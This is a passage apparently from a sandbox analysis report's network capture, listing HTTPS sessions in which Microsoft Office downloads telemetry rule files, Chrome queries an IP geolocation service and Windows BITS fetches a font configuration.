73 c6 df bb d8 be b7 d2 60 5d 09 13 9c 3e 6f 61 0c ec b0 bd e6 6d 9e 78 a6 87 3f 03 Data Ascii: MV,f@"XL+lqrA\|X*^</x~Zy6UYu~k31_J`dw~wNk]]M.X=\|(iQ/+zT0{4XRXT7Y%I[m@oO#3zMN-:\|Grpewr;7Hqs`]>oamx?

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.9	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:05 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0adba8b5-901e-007b-7a05-3bac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092005Z-r1d97b995774zjnrhC1TEBv1ww00000008k000000000aa10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	49788	104.26.8.44	443	5900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:05 UTC	337	OUT	GET /json/ HTTP/1.1 Host: ipapi.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 09:20:05 UTC	896	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:05 GMT Content-Type: application/json Content-Length: 763 Connection: close Allow: OPTIONS, POST, OPTIONS, HEAD, GET X-Frame-Options: DENY Vary: Host, origin X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KoPj9pE5rFGm3%2FFRFZMnskRBEs%2Fyy9OveTSa57%2FWxaLp4saopcll3B6pacKSbe1YnPZfIzkL%2Brkd3q3%2BZ36CrQpxOdUicOjrHzCV4BtmiYccu9LJS88SDyGH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e575cb25fc1c333-EWR server-timing: cfL4;desc="?proto=TCP&rtt=4622&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2790&recv_bytes=919&delivery_rate=1701631&cwnd=138&unsent_bytes=0&cid=02f97eba41704ddc&ts=442&x=0"
2024-11-20 09:20:05 UTC	473	IN	Data Raw: 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 22 76 65 72 73 69 6f 6e 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 5f 63 6f 64 65 22 3a 20 22 4e 59 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 6e 61 6d 65 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 63 6f 75 6e Data Ascii: { "ip": "8.46.123.75", "network": "8.46.123.0/24", "version": "IPv4", "city": "New York City", "region": "New York", "region_code": "NY", "country": "US", "country_name": "United States", "country_code": "US", "coun
2024-11-20 09:20:05 UTC	290	IN	Data Raw: 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 22 2c 0a 20 20 20 20 22 75 74 63 5f 6f 66 66 73 65 74 22 3a 20 22 2d 30 35 30 30 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 61 6c 6c 69 6e 67 5f 63 6f 64 65 22 3a 20 22 2b 31 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 22 3a 20 22 55 53 44 22 2c 0a 20 20 20 20 22 63 75 72 72 65 6e 63 79 5f 6e 61 6d 65 22 3a 20 22 44 6f 6c 6c 61 72 22 2c 0a 20 20 20 20 22 6c 61 6e 67 75 61 67 65 73 22 3a 20 22 65 6e 2d 55 53 2c 65 73 2d 55 53 2c 68 61 77 2c 66 72 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 61 72 65 61 22 3a 20 39 36 32 39 30 39 31 2e 30 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 70 6f 70 75 6c 61 74 69 6f 6e 22 3a 20 33 32 37 31 36 37 34 33 34 2c 0a 20 20 20 20 22 61 73 Data Ascii: one": "America/New_York", "utc_offset": "-0500", "country_calling_code": "+1", "currency": "USD", "currency_name": "Dollar", "languages": "en-US,es-US,haw,fr", "country_area": 9629091.0, "country_population": 327167434, "as

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.9	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:05 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:05 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092005Z-185f5d8b95crl6swhC1NYC3ueg0000000a2000000000hc8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:05 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.9	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:05 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:05 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092005Z-1777c6cb754ww792hC1TEBzqu4000000097g0000000083e6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:05 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.9	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:05 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:05 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ccd0155-401e-0015-24f2-3a0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092005Z-r1d97b99577brct2hC1TEBambg00000002ag000000008qgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 09:20:05 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.9	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:05 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:05 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092005Z-r1d97b99577n5jhbhC1TEB74vn00000008mg000000007xz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:05 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.9	49790	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:05 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 09:20:06 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=26680 Date: Wed, 20 Nov 2024 09:20:05 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 09:20:06 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.9	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:06 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:06 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 0cd4e810-101e-0079-148c-3a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092006Z-185f5d8b95cmd8vfhC1NYC0g4000000005yg000000004w4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:06 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.9	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:06 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:06 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: d35eaebc-501e-0064-178c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092006Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a4g000000005388 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:06 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.9	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:06 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:06 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 495def62-b01e-0098-458c-3acead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092006Z-1777c6cb754gvvgfhC1TEBz4rg00000009eg0000000091vh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:06 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.9	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:06 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 9cc78053-901e-008f-7b8c-3a67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092006Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a1000000000eb9n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.9	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:06 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
